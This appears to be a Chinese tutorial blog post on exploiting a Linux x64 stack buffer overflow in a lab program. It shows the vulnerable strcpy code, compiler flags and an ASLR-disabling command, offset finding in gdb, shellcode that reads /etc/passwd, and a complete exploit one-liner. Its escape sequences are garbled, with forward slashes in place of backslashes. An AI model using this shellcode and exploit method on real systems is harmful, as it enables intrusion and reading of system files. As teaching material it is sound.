神刀安全网

信息安全学习 : 记一次linux x64 的栈溢出

0x01 x86与x64的区别

  • 寄存器名称的不同。如x86下的EBP、ESP在x64中都成为了RBP、RSP。

  • 函数传参的不同。x86中参数都是保存在栈上,但在x64中的前六个参数依次保存在RDI, RSI, RDX, RCX, R8和 R9中,如果还有更多的参数的话才会保存在栈上。

  • 内存地址大小不同。在x64中的内存地址不能大于 0x00007fffffffffff ,否则会抛出异常(0x7fffffffffff = 01111111111111111111111111111111111111111111111)。通常我们尝试覆盖栈时出现段错误,通常是访问了大于 0x00007fffffffffff 的地址造成的。

0x02 demo

    int main(int argc, char **argv) {          char buffer[256];         if(argc != 2) {                 exit(0);         }         printf("%p/n", buffer);         strcpy(buffer,  argv[1]);         printf("%s/n", buffer);         return 0;     } 

使用: gcc -m64 bof.c -o bof -z execstack -fno-stack-protector 编译。

编译完成之后我们把linux系统的ASLR(内存空间分布随机化)关闭。

sudo -s echo 0 > /proc/sys/kernel/randomize_va_space

0x03 溢出栈

可以使用pattern脚本来计算缓冲区的大小: https://github.com/Svenito/exploit-pattern

    liuil@ubuntu:~/Desktop/script$ ./pattern.py 300      Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7AhAh9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9      liuil@ubuntu:~/Desktop$ ./bof Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9     0x7fff29310170     Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9     Segmentation fault (core dumped) 

可以发现我们触发了栈溢出,接下来计算缓冲区的大小。由于程序使用的内存地址不能大于0x00007fffffffffff,PC指针并没有指向类似于0x41414141那样地址,但是 ret 指令等于 pop rip ,我们可以通过查看栈顶指针的值确定下一步程序运行的地址。

    [------------------------------------stack-------------------------------------]     0000| 0x7fffffffde38 ("Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9")     0008| 0x7fffffffde40 ("0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9")     0016| 0x7fffffffde48 ("j3Aj4Aj5Aj6Aj7Aj8Aj9")     0024| 0x7fffffffde50 ("Aj6Aj7Aj8Aj9")     0032| 0x7fffffffde58 --> 0x396a4138 ('8Aj9')     0040| 0x7fffffffde60 --> 0x0      0048| 0x7fffffffde68 --> 0xc586ca108a1de5d6      0056| 0x7fffffffde70 --> 0x400520 (<_start>:    xor    ebp,ebp)     [------------------------------------------------------------------------------]     Legend: code, data, rodata, value     Stopped reason: SIGSEGV     0x0000000000400686 in main ()     gdb-peda$ x/gx $rsp     0x7fffffffde38: 0x6a41396941386941 

接着使用pattern.py计算缓冲区大小。

    liuil@ubuntu:~/Desktop/script$ ./pattern.py 0x6a41396941386941     Pattern 0x6a41396941386941 first occurrence at position 264 in pattern. 

则缓冲区的大小为264个字节。

使用peda自带的checksec功能查看是否开启保护:

    gdb-peda$ checksec     CANARY    : disabled     FORTIFY   : disabled     NX        : disabled     PIE       : disabled     RELRO     : Partial 

发现没有开启任何保护,所以我们可以直接将shellcode放置在栈上执行。

则构造payload:shellcode + off + ret 即可。

利用一段现有的shellcode:

    /xeb/x3f/x5f/x80/x77/x0b/x41/x48/x31/xc0/x04/x02/x48/x31/xf6/x0f/x05/x66/x81/xec/xff/x0f/x48/x8d/x34/x24/x48/x89/xc7/x48/x31/xd2/x66/xba/xff/x0f/x48/x31/xc0/x0f/x05/x48/x31/xff/x40/x80/xc7/x01/x48/x89/xc2/x48/x31/xc0/x04/x01/x0f/x05/x48/x31/xc0/x04/x3c/x0f/x05/xe8/xbc/xff/xff/xff/x2f/x65/x74/x63/x2f/x70/x61/x73/x73/x77/x64/x41 

这段shellcode的作用是读出/etc/passwd的内容。

写出exp:

    python -c 'print  "/xeb/x3f/x5f/x80/x77/x0b/x41/x48/x31/xc0/x04/x02/x48/x31/xf6/x0f/x05/x66/x81/xec/xff/x0f/x48/x8d/x34/x24/x48/x89/xc7/x48/x31/xd2/x66/xba/xff/x0f/x48/x31/xc0/x0f/x05/x48/x31/xff/x40/x80/xc7/x01/x48/x89/xc2/x48/x31/xc0/x04/x01/x0f/x05/x48/x31/xc0/x04/x3c/x0f/x05/xe8/xbc/xff/xff/xff/x2f/x65/x74/x63/x2f/x70/x61/x73/x73/x77/x64/x41" + "A" * 182 +  "/x7f/xff/xff/xff/xdc/x90"[::-1]' 

执行完毕,就可以看到/etc/passwd的内容了。

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » 信息安全学习 : 记一次linux x64 的栈溢出

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址